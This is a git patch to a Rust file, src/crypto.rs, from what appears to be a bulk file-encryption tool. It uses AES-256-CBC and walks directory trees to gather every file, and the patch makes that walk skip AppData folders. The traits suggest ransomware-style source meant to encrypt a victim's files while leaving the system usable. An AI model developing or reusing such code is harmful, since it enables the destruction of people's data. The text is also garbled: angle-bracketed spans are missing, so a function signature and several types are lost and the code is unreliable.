From b846a2fb30b862317db54e62a31e00d7db9d4a3b Mon Sep 17 00:00:00 2001 From: Xory Date: Mon, 17 Jun 2024 14:02:15 +0300 Subject: [PATCH] feat: ignore appdata --- src/crypto.rs | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/src/crypto.rs b/src/crypto.rs index 917cc20..6b137bf 100644 --- a/src/crypto.rs +++ b/src/crypto.rs @@ -7,7 +7,7 @@ extern crate walkdir; use aes::Aes256; use block_modes::{BlockMode, Cbc}; use block_modes::block_padding::Pkcs7; -use walkdir::WalkDir; +use walkdir::{WalkDir, DirEntry}; use std::fs::File; use std::fs; use std::io::{Read, Write}; @@ -55,10 +55,16 @@ fn decrypt_file(input_path: &str, output_path: &str) -> Result<(), Box bool { + entry.path().components().any(|component| { + component.as_os_str() == "AppData" + }) +} + fn get_all_files(dir: &str) -> Vec { let mut file_paths = Vec::new(); - for entry in WalkDir::new(dir).into_iter().filter_map(|e| e.ok()) { + for entry in WalkDir::new(dir).into_iter().filter_map(|e| e.ok()).filter(|e| !is_app_data(e)) { if entry.file_type().is_file() { file_paths.push(entry.path().display().to_string()); }